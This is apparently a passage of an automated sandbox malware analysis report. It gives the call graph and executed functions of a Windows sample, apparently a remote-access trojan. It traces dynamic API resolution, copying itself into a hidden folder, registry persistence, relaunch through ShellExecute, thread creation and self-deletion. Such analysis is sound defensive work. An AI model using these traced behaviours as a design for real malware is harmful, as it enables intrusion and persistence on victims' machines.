88263->88653 88264 40dc8c 88264->88226 88266 40dc93 88264->88266 88266->88165 88267 40ddaa 88268 401d64 22 API calls 88267->88268 88269 40ddb6 88268->88269 88270 401d64 22 API calls 88269->88270 88271 40ddcb 88270->88271 88272 401d64 22 API calls 88271->88272 88273 40ddeb 88272->88273 88654 43a5e7 39 API calls _strftime 88273->88654 88275 40ddf8 88276 401d64 22 API calls 88275->88276 88277 40de03 88276->88277 88278 401d64 22 API calls 88277->88278 88279 40de14 88278->88279 88280 401d64 22 API calls 88279->88280 88281 40de29 88280->88281 88282 401d64 22 API calls 88281->88282 88283 40de3a 88282->88283 88284 40de41 StrToIntA 88283->88284 88655 409517 144 API calls _wcslen 88284->88655 88286 40de53 88287 401d64 22 API calls 88286->88287 88289 40de5c 88287->88289 88288 40dea1 88292 401d64 22 API calls 88288->88292 88289->88288 88656 43360d 22 API calls 3 library calls 88289->88656 88291 40de71 88293 401d64 22 API calls 88291->88293 88297 40deb1 88292->88297 88294 40de84 88293->88294 88295 40de8b CreateThread 88294->88295 88295->88288 88831 419128 109 API calls 2 library calls 88295->88831 88296 40def9 88299 401d64 22 API calls 88296->88299 88297->88296 88657 43360d 22 API calls 3 library calls 88297->88657 88304 40df02 88299->88304 88300 40dec6 88301 401d64 22 API calls 88300->88301 88302 40ded8 88301->88302 88305 40dedf CreateThread 88302->88305 88303 40df6c 88306 401d64 22 API calls 88303->88306 88304->88303 88307 401d64 22 API calls 88304->88307 88305->88296 88829 419128 109 API calls 2 library calls 88305->88829 88310 40df75 88306->88310 88308 40df1e 88307->88308 88309 401d64 22 API calls 88308->88309 88313 40df33 88309->88313 88311 40dfba 88310->88311 88312 401d64 22 API calls 88310->88312 88661 41a7a2 30 API calls 88311->88661 88315 40df8a 88312->88315 88658 40c854 32 API calls 88313->88658 88321 401d64 22 API calls 88315->88321 88316 40dfc3 88317 401e18 11 API calls 88316->88317 88319 40dfce 88317->88319 88320 401e13 11 API calls 88319->88320 88323 40dfd7 CreateThread 88320->88323 88324 40df9f 88321->88324 88322 40df46 88325 401e18 11 API calls 88322->88325 88328 40e004 88323->88328 88329 40dff8 CreateThread 88323->88329 88832 40e54f 82 API calls 88323->88832 88659 43a5e7 39 API calls _strftime 88324->88659 88327 40df52 88325->88327 88330 401e13 11 API calls 88327->88330 88331 40e019 88328->88331 88332 40e00d CreateThread 88328->88332 88329->88328 88833 410f36 139 API calls 88329->88833 88334 40df5b CreateThread 88330->88334 88336 40e073 88331->88336 88338 401f66 28 API calls 88331->88338 88332->88331 88834 411524 38 API calls ___scrt_fastfail 88332->88834 88334->88303 88835 40196b 49 API calls _strftime 88334->88835 88335 40dfac 88660 40b95c 7 API calls 88335->88660 88664 41246e RegOpenKeyExA RegQueryValueExA RegCloseKey 88336->88664 88339 40e046 88338->88339 88662 404c9e 28 API calls 88339->88662 88342 40e053 88344 401f66 28 API calls 88342->88344 88343 40e08b 88345 40e12a 88343->88345 88348 41ae08 28 API calls 88343->88348 88346 40e062 88344->88346 88667 40cbac 27 API calls 88345->88667 88663 41a686 79 API calls 88346->88663 88351 40e0a4 88348->88351 88350 40e12f 88668 413fd4 170 API calls _strftime 88350->88668 88665 412584 31 API calls 88351->88665 88352 40e067 88354 401eea 11 API calls 88352->88354 88354->88336 88356 40e0ba 88357 401e13 11 API calls 88356->88357 88360 40e0c5 88357->88360 88358 40e0ed DeleteFileW 88359 40e0f4 88358->88359 88358->88360 88362 41ae08 28 API calls 88359->88362 88360->88358 88360->88359 88361 40e0db Sleep 88360->88361 88361->88360 88363 40e104 88362->88363 88666 41297a RegOpenKeyExW RegDeleteValueW 88363->88666 88365 40e117 88366 401e13 11 API calls 88365->88366 88367 40e121 88366->88367 88368 401e13 11 API calls 88367->88368 88368->88345 88369->88064 88370->88070 88371->88074 88372->88078 88373->88080 88374->88083 88375->88058 88376->88061 88377->88065 88378->88087 88379->88089 88380->88092 88381->88094 88382->88097 88384 44dddb 88383->88384 88385 44ddd2 88383->88385 88384->88101 88388 44dcc8 48 API calls 4 library calls 88385->88388 88387->88101 88388->88384 88390 41bd22 LoadLibraryA GetProcAddress 88389->88390 88391 41bd12 GetModuleHandleA GetProcAddress 88389->88391 88392 41bd4b 32 API calls 88390->88392 88393 41bd3b LoadLibraryA GetProcAddress 88390->88393 88391->88390 88392->88106 88393->88392 88671 41a63f FindResourceA 88394->88671 88397 43a88c _Yarn 21 API calls 88398 40e192 _Yarn 88397->88398 88674 401f86 88398->88674 88401 401eef 11 API calls 88402 40e1b8 88401->88402 88403 401eea 11 API calls 88402->88403 88404 40e1c1 88403->88404 88405 43a88c _Yarn 21 API calls 88404->88405 88406 40e1d2 _Yarn 88405->88406 88678 406052 88406->88678 88408 40e205 88408->88108 88410 401fcc 88409->88410 88686 402501 88410->88686 88412 401fea 88412->88111 88414 41afd6 88413->88414 88417 41b048 88414->88417 88426 401eef 11 API calls 88414->88426 88429 401eea 11 API calls 88414->88429 88433 41b046 88414->88433 88691 403b60 28 API calls 88414->88691 88692 41bfa9 28 API calls 88414->88692 88415 401eea 11 API calls 88416 41b078 88415->88416 88418 401eea 11 API calls 88416->88418 88693 403b60 28 API calls 88417->88693 88421 41b080 88418->88421 88422 401eea 11 API calls 88421->88422 88424 40d7c6 88422->88424 88423 41b054 88425 401eef 11 API calls 88423->88425 88434 40e8bd 88424->88434 88427 41b05d 88425->88427 88426->88414 88428 401eea 11 API calls 88427->88428 88430 41b065 88428->88430 88429->88414 88694 41bfa9 28 API calls 88430->88694 88433->88415 88435 40e8ca 88434->88435 88437 40e8da 88435->88437 88695 40200a 11 API calls 88435->88695 88437->88116 88439 40200a 88438->88439 88443 40203a 88439->88443 88696 402654 11 API calls 88439->88696 88441 40202b 88697 4026ba 11 API calls _Deallocate 88441->88697 88443->88118 88445 401d6c 88444->88445 88446 401d74 88445->88446 88698 401fff 22 API calls 88445->88698 88446->88123 88450 404ccb 88449->88450 88699 402e78 88450->88699 88452 404cee 88452->88130 88708 404bc4 88453->88708 88455 405cf4 88455->88133 88457 401efe 88456->88457 88458 401f0a 88457->88458 88717 4021b9 11 API calls 88457->88717 88458->88137 88462 4021b9 88460->88462 88461 4021e8 88461->88140 88462->88461 88718 40262e 11 API calls _Deallocate 88462->88718 88466 401ec9 88464->88466 88465 401ee4 88465->88147 88466->88465 88467 402325 28 API calls 88466->88467 88467->88465 88719 401e8f 88468->88719 88470 40bee1 CreateMutexA GetLastError 88470->88163 88721 41b15b 88471->88721 88473 41a471 88725 412513 RegOpenKeyExA 88473->88725 88476 401eef 11 API calls 88477 41a49f 88476->88477 88478 401eea 11 API calls 88477->88478 88479 41a4a7 88478->88479 88480 41a4fa 88479->88480 88481 412513 31 API calls 88479->88481 88480->88168 88482 41a4cd 88481->88482 88483 41a4d8 StrToIntA 88482->88483 88484 41a4ef 88483->88484 88485 41a4e6 88483->88485 88486 401eea 11 API calls 88484->88486 88730 41c102 22 API calls 88485->88730 88486->88480 88489 40698f 88488->88489 88490 4124b7 3 API calls 88489->88490 88491 406996 88490->88491 88491->88179 88491->88180 88493 41ae1c 88492->88493 88731 40b027 88493->88731 88495 41ae24 88495->88194 88497 401e27 88496->88497 88499 401e33 88497->88499 88740 402121 11 API calls 88497->88740 88499->88197 88501 402121 88500->88501 88502 402150 88501->88502 88741 402718 11 API calls _Deallocate 88501->88741 88502->88200 88505 40c8ba 88504->88505 88506 40c8da 88505->88506 88507 40c90f 88505->88507 88510 40c8d0 88505->88510 88746 41a74b 29 API calls 88506->88746 88509 41b15b 2 API calls 88507->88509 88508 40ca03 GetLongPathNameW 88742 403b40 88508->88742 88513 40c914 88509->88513 88510->88508 88517 40c918 88513->88517 88518 40c96a 88513->88518 88514 40c8e3 88515 401e18 11 API calls 88514->88515 88522 40c8ed 88515->88522 88521 403b40 28 API calls 88517->88521 88520 403b40 28 API calls 88518->88520 88519 403b40 28 API calls 88523 40ca27 88519->88523 88524 40c978 88520->88524 88525 40c926 88521->88525 88526 401e13 11 API calls 88522->88526 88749 40cc37 28 API calls 88523->88749 88530 403b40 28 API calls 88524->88530 88531 403b40 28 API calls 88525->88531 88526->88510 88528 40ca3a 88750 402860 28 API calls 88528->88750 88534 40c98e 88530->88534 88532 40c93c 88531->88532 88747 402860 28 API calls 88532->88747 88533 40ca45 88751 402860 28 API calls 88533->88751 88748 402860 28 API calls 88534->88748 88538 40c999 88542 401e18 11 API calls 88538->88542 88539 40c947 88543 401e18 11 API calls 88539->88543 88540 40ca4f 88541 401e13 11 API calls 88540->88541 88544 40ca59 88541->88544 88545 40c9a4 88542->88545 88546 40c952 88543->88546 88547 401e13 11 API calls 88544->88547 88548 401e13 11 API calls 88545->88548 88549 401e13 11 API calls 88546->88549 88550 40ca62 88547->88550 88551 40c9ad 88548->88551 88552 40c95b 88549->88552 88553 401e13 11 API calls 88550->88553 88554 401e13 11 API calls 88551->88554 88555 401e13 11 API calls 88552->88555 88556 40ca6b 88553->88556 88554->88522 88555->88522 88557 401e13 11 API calls 88556->88557 88558 40ca74 88557->88558 88559 401e13 11 API calls 88558->88559 88560 40ca7d 88559->88560 88560->88233 88562 40bc7a _wcslen 88561->88562 88563 40bc84 88562->88563 88564 40bcce 88562->88564 88567 40bc8d CreateDirectoryW 88563->88567 88565 40c89e 32 API calls 88564->88565 88566 40bce0 88565->88566 88568 401e18 11 API calls 88566->88568 88753 40856b 88567->88753 88570 40bccc 88568->88570 88572 401e13 11 API calls 88570->88572 88571 40bca9 88787 4028cf 88571->88787 88577 40bcf7 88572->88577 88574 40bcb5 88575 401e18 11 API calls 88574->88575 88576 40bcc3 88575->88576 88578 401e13 11 API calls 88576->88578 88579 40bd10 88577->88579 88580 40bd2d 88577->88580 88578->88570 88583 40bb7b 31 API calls 88579->88583 88581 40bd36 CopyFileW 88580->88581 88582 40be07 88581->88582 88584 40bd48 _wcslen 88581->88584 88759 40bb7b 88582->88759 88613 40bd21 88583->88613 88584->88582 88586 40bd64 88584->88586 88587 40bdb7 88584->88587 88590 40c89e 32 API calls 88586->88590 88589 40c89e 32 API calls 88587->88589 88595 40bdbd 88589->88595 88594 40bd6a 88590->88594 88591 40be21 88599 40be2a SetFileAttributesW 88591->88599 88592 40be4d 88593 40be95 CloseHandle 88592->88593 88596 403b40 28 API calls 88592->88596 88785 401e07 88593->88785 88598 401e18 11 API calls 88594->88598 88597 401e18 11 API calls 88595->88597 88601 40be63 88596->88601 88630 40bdb1 88597->88630 88602 40bd76 88598->88602 88612 40be39 _wcslen 88599->88612 88606 41ae08 28 API calls 88601->88606 88607 401e13 11 API calls 88602->88607 88603 40beb1 ShellExecuteW 88604 40bec4 88603->88604 88605 40bece ExitProcess 88603->88605 88608 40bed7 CreateMutexA GetLastError 88604->88608 88609 40be76 88606->88609 88610 40bd7f 88607->88610 88608->88613 88790 412774 RegCreateKeyW 88609->88790 88614 40856b 28 API calls 88610->88614 88611 401e13 11 API calls 88617 40bdcf 88611->88617 88612->88592 88615 40be4a SetFileAttributesW 88612->88615 88613->88240 88616 40bd93 88614->88616 88615->88592 88618 4028cf 28 API calls 88616->88618 88620 40bddb CreateDirectoryW 88617->88620 88621 40bd9f 88618->88621 88622 401e07 88620->88622 88625 401e18 11 API calls 88621->88625 88624 40bdeb CopyFileW 88622->88624 88624->88582 88628 40bdf8 88624->88628 88627 40bda8 88625->88627 88626 401e13 11 API calls 88626->88593 88629 401e13 11 API calls 88627->88629 88628->88613 88629->88630 88630->88611 88631->88124 88632->88134 88634->88155 88636 4124e1 RegQueryValueExA RegCloseKey 88635->88636 88637 41250b 88635->88637 88636->88637 88637->88151 88638->88159 88639->88187 88640->88180 88641->88171 88642->88185 88643->88245 88644->88264 88645->88226 88647 401f6e 88646->88647 88824 402301 88647->88824 88650->88244 88651->88250 88652->88256 88653->88267 88654->88275 88655->88286 88656->88291 88657->88300 88658->88322 88659->88335 88660->88311 88661->88316 88662->88342 88663->88352 88664->88343 88665->88356 88666->88365 88667->88350 88828 419e89 105 API calls 88668->88828 88669->88178 88672 40e183 88671->88672 88673 41a65c LoadResource LockResource SizeofResource 88671->88673 88672->88397 88673->88672 88675 401f8e 88674->88675 88681 402325 88675->88681 88677 401fa4 88677->88401 88679 401f86 28 API calls 88678->88679 88680 406066 88679->88680 88680->88408 88682 40232f 88681->88682 88684 40233a 88682->88684 88685 40294a 28 API calls 88682->88685 88684->88677 88685->88684 88687 40250d 88686->88687 88689 40252b 88687->88689 88690 40261a 28 API calls 88687->88690 88689->88412 88690->88689 88691->88414 88692->88414 88693->88423 88694->88433 88695->88437 88696->88441 88697->88443 88700 402e85 88699->88700 88701 402e98 88700->88701 88703 402ea9 88700->88703 88704 402eae 88700->88704 88706 403445 28 API calls 88701->88706 88703->88452 88704->88703 88707 40225b 11 API calls 88704->88707 88706->88703 88707->88703 88709 404bd0 88708->88709 88712 40245c 88709->88712 88711 404be4 88711->88455 88713 402469 88712->88713 88715 402478 88713->88715 88716 402ad3 28 API calls 88713->88716 88715->88711 88716->88715 88717->88458 88718->88461 88720 401e94 88719->88720 88722 41b183 88721->88722 88723 41b168 GetCurrentProcess IsWow64Process 88721->88723 88722->88473 88723->88722 88724 41b17f 88723->88724 88724->88473 88726 412541 RegQueryValueExA RegCloseKey 88725->88726 88727 412569 88725->88727 88726->88727 88728 401f66 28 API calls 88727->88728 88729 41257e 88728->88729 88729->88476 88730->88484 88732 40b02f 88731->88732 88735 40b04b 88732->88735 88734 40b045 88734->88495 88736 40b055 88735->88736 88738 40b060 88736->88738 88739 40b138 28 API calls 88736->88739 88738->88734 88739->88738 88740->88499 88741->88502 88743 403b48 88742->88743 88752 403b7a 28 API calls 88743->88752 88745 403b5a 88745->88519 88746->88514 88747->88539 88748->88538 88749->88528 88750->88533 88751->88540 88752->88745 88754 408577 88753->88754 88796 402ca8 88754->88796 88758 4085a3 88758->88571 88760 40bba1 88759->88760 88761 40bbdd 88759->88761 88814 40b0dd 88760->88814 88762 40bc1e 88761->88762 88764 40b0dd 28 API calls 88761->88764 88765 40bc5f 88762->88765 88768 40b0dd 28 API calls 88762->88768 88767 40bbf4 88764->88767 88765->88591 88765->88592 88770 4028cf 28 API calls 88767->88770 88771 40bc35 88768->88771 88769 4028cf 28 API calls 88772 40bbbd 88769->88772 88773 40bbfe 88770->88773 88774 4028cf 28 API calls 88771->88774 88775 412774 14 API calls 88772->88775 88778 412774 14 API calls 88773->88778 88776 40bc3f 88774->88776 88777 40bbd1 88775->88777 88779 412774 14 API calls 88776->88779 88780 401e13 11 API calls 88777->88780 88781 40bc12 88778->88781 88782 40bc53 88779->88782 88780->88761 88783 401e13 11 API calls 88781->88783 88784 401e13 11 API calls 88782->88784 88783->88762 88784->88765 88786 401e0c 88785->88786 88820 402d8b 88787->88820 88789 4028dd 88789->88574 88791 4127c6 88790->88791 88793 412789 88790->88793 88792 401e13 11 API calls 88791->88792 88794 40be89 88792->88794 88795 4127a2 RegSetValueExW RegCloseKey 88793->88795 88794->88626 88795->88791 88797 402cb5 88796->88797 88798 402cc8 88797->88798 88800 402cd9 88797->88800 88801 402cde 88797->88801 88807 403374 28 API calls 88798->88807 88803 402de3 88800->88803 88801->88800 88808 402f21 11 API calls 88801->88808 88804 402daf 88803->88804 88809 4030f7 88804->88809 88806 402dcd 88806->88758 88807->88800 88808->88800 88810 403101 88809->88810 88811 403115 88810->88811 88813 4036c2 28 API calls 88810->88813 88811->88806 88813->88811 88815 40b0e9 88814->88815 88816 402ca8 28 API calls 88815->88816 88817 40b10c 88816->88817 88818 402de3 28 API calls 88817->88818 88819 40b11f 88818->88819 88819->88769 88821 402d97 88820->88821 88822 4030f7 28 API calls 88821->88822 88823 402dab 88822->88823 88823->88789 88825 40230d 88824->88825 88826 402325 28 API calls 88825->88826 88827 401f80 88826->88827 88827->88238 88836 411637 62 API calls 88833->88836

                                                    Executed Functions

                                                    Function 0041BCE3 Relevance: 115.6, APIs: 40, Strings: 26, Instructions: 140libraryloaderCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    • LoadLibraryA.KERNEL32(Psapi,GetProcessImageFileNameW,?,?,?,?,0040D783), ref: 0041BCF8
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BD01
                                                    • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040D783), ref: 0041BD18
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BD1B
                                                    • LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040D783), ref: 0041BD2D
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BD30
                                                    • LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040D783), ref: 0041BD41
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BD44
                                                    • LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040D783), ref: 0041BD55
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BD58
                                                    • LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040D783), ref: 0041BD65
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BD68
                                                    • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040D783), ref: 0041BD75
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BD78
                                                    • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040D783), ref: 0041BD85
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BD88
                                                    • LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040D783), ref: 0041BD99
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BD9C
                                                    • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040D783), ref: 0041BDA9
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BDAC
                                                    • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040D783), ref: 0041BDBD
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BDC0
                                                    • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040D783), ref: 0041BDD1
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BDD4
                                                    • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040D783), ref: 0041BDE5
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BDE8
                                                    • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040D783), ref: 0041BDF5
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BDF8
                                                    • LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040D783), ref: 0041BE06
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BE09
                                                    • LoadLibraryA.KERNEL32(kernel32,GetConsoleWindow,?,?,?,?,0040D783), ref: 0041BE16
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BE19
                                                    • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040D783), ref: 0041BE2B
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BE2E
                                                    • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040D783), ref: 0041BE3B
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BE3E
                                                    • LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedTcpTable,?,?,?,?,0040D783), ref: 0041BE50
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BE53
                                                    • LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedUdpTable,?,?,?,?,0040D783), ref: 0041BE60
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041BE63
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AddressProc$HandleLibraryLoadModule
                                                    • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                                                    • API String ID: 384173800-625181639
                                                    • Opcode ID: 0789f4e3f810de028ed60e0db8f6a6efc83e65cfda48e5b03c752fe52fb7e632
                                                    • Instruction ID: 894fbade80705e672e772900be83df88f70523cf1842e1027a1ce5ee2e2841b6
                                                    • Opcode Fuzzy Hash: 0789f4e3f810de028ed60e0db8f6a6efc83e65cfda48e5b03c752fe52fb7e632
                                                    • Instruction Fuzzy Hash: 2831EDA0E4031C7ADA107FB69C49E5B7E9CD944B953110827B508D3162FBBDA9809EEE
                                                    Function 0040D767 Relevance: 93.5, APIs: 12, Strings: 41, Instructions: 799COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 5 40d767-40d7e9 call 41bce3 GetModuleFileNameW call 40e168 call 401fbd * 2 call 41afc3 call 40e8bd call 401d8c call 43e820 22 40d835-40d8fd call 401d64 call 401e8f call 401d64 call 404cbf call 405ce6 call 401eef call 401eea * 2 call 401d64 call 401ebd call 40541d call 401d64 call 404bb1 call 401d64 call 404bb1 5->22 23 40d7eb-40d830 call 40e986 call 401d64 call 401e8f call 40fcba call 40e937 call 40e155 5->23 69 40d950-40d96b call 401d64 call 40b125 22->69 70 40d8ff-40d94a call 4085b4 call 401eef call 401eea call 401e8f call 4124b7 22->70 48 40dc96-40dca7 call 401eea 23->48 80 40d9a5-40d9ac call 40bed7 69->80 81 40d96d-40d98c call 401e8f call 4124b7 69->81 70->69 102 40e134-40e154 call 401e8f call 412902 call 4112b5 70->102 90 40d9b5-40d9bc 80->90 91 40d9ae-40d9b0 80->91 81->80 98 40d98e-40d9a4 call 401e8f call 412902 81->98 95 40d9c0-40d9cc call 41a463 90->95 96 40d9be 90->96 94 40dc95 91->94 94->48 103 40d9d5-40d9d9 95->103 104 40d9ce-40d9d0 95->104 96->95 98->80 107 40da18-40da2b call 401d64 call 401e8f 103->107 108 40d9db call 40697b 103->108 104->103 128 40da32-40daba call 401d64 call 41ae08 call 401e18 call 401e13 call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f 107->128 129 40da2d call 4069ba 107->129 117 40d9e0-40d9e2 108->117 120 40d9e4-40d9e9 call 40699d call 4064d0 117->120 121 40d9ee-40da01 call 401d64 call 401e8f 117->121 120->121 121->107 138 40da03-40da09 121->138 163 40db22-40db26 128->163 164 40dabc-40dad5 call 401d64 call 401e8f call 43a611 128->164 129->128 138->107 140 40da0b-40da11 138->140 140->107 142 40da13 call 4064d0 140->142 142->107 166 40dcaa-40dd01 call 436050 call 4022f8 call 401e8f * 2 call 41265d call 4082d7 163->166 167 40db2c-40db33 163->167 164->163 191 40dad7-40db03 call 401d64 call 401e8f call 401d64 call 401e8f call 40c89e 164->191 222 40dd06-40dd5c call 401d64 call 401e8f call 401f66 call 401e8f call 4126d2 call 401d64 call 401e8f call 43a5e7 166->222 170 40dbb1-40dbbb call 4082d7 167->170 171 40db35-40dba7 call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 40bc67 167->171 178 40dbc0-40dbe4 call 4022f8 call 4338c8 170->178 257 40dbac-40dbaf 171->257 199 40dbf3 178->199 200 40dbe6-40dbf1 call 436050 178->200 232 40db08-40db1d call 401e18 call 401e13 191->232 202 40dbf5-40dc6a call 401e07 call 43e349 call 4022f8 call 401e8f call 4022f8 call 401e8f call 4128a2 call 4338d1 call 401d64 call 40b125 199->202 200->202 202->222 274 40dc70-40dc91 call 401d64 call 41ae08 call 40e219 202->274 272 40dd79-40dd7b 222->272 273 40dd5e 222->273 232->163 257->178 276 40dd81 272->276 277 40dd7d-40dd7f 272->277 275 40dd60-40dd77 call 41beb0 CreateThread 273->275 274->222 292 40dc93 274->292 280 40dd87-40de66 call 401f66 * 2 call 41a686 call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 43a5e7 call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f StrToIntA call 409517 call 401d64 call 401e8f 275->280 276->280 277->275 330 40dea1 280->330 331 40de68-40de9f call 43360d call 401d64 call 401e8f CreateThread 280->331 292->94 333 40dea3-40debb call 401d64 call 401e8f 330->333 331->333 343 40def9-40df0c call 401d64 call 401e8f 333->343 344 40debd-40def4 call 43360d call 401d64 call 401e8f CreateThread 333->344 354 40df6c-40df7f call 401d64 call 401e8f 343->354 355 40df0e-40df67 call 401d64 call 401e8f call 401d64 call 401e8f call 40c854 call 401e18 call 401e13 CreateThread 343->355 344->343 366 40df81-40dfb5 call 401d64 call 401e8f call 401d64 call 401e8f call 43a5e7 call 40b95c 354->366 367 40dfba-40dfde call 41a7a2 call 401e18 call 401e13 354->367 355->354 366->367 386 40dfe0 367->386 387 40dfe3-40dff6 CreateThread 367->387 386->387 390 40e004-40e00b 387->390 391 40dff8-40e002 CreateThread 387->391 394 40e019-40e020 390->394 395 40e00d-40e017 CreateThread 390->395 391->390 398 40e022-40e025 394->398 399 40e033-40e038 394->399 395->394 401 40e073-40e08e call 401e8f call 41246e 398->401 402 40e027-40e031 398->402 404 40e03d-40e06e call 401f66 call 404c9e call 401f66 call 41a686 call 401eea 399->404 414 40e094-40e0d4 call 41ae08 call 401e07 call 412584 call 401e13 call 401e07 401->414 415 40e12a-40e12f call 40cbac call 413fd4 401->415 402->404 404->401 433 40e0ed-40e0f2 DeleteFileW 414->433 415->102 434 40e0f4-40e125 call 41ae08 call 401e07 call 41297a call 401e13 * 2 433->434 435 40e0d6-40e0d9 433->435 434->415 435->434 436 40e0db-40e0e8 Sleep call 401e07 435->436 436->433
                                                    APIs
                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(Psapi,GetProcessImageFileNameW,?,?,?,?,0040D783), ref: 0041BCF8
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BD01
                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040D783), ref: 0041BD18
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BD1B
                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040D783), ref: 0041BD2D
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BD30
                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040D783), ref: 0041BD41
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BD44
                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040D783), ref: 0041BD55
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BD58
                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040D783), ref: 0041BD65
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BD68
                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040D783), ref: 0041BD75
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BD78
                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040D783), ref: 0041BD85
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BD88
                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040D783), ref: 0041BD99
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BD9C
                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040D783), ref: 0041BDA9
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BDAC
                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040D783), ref: 0041BDBD
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BDC0
                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040D783), ref: 0041BDD1
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BDD4
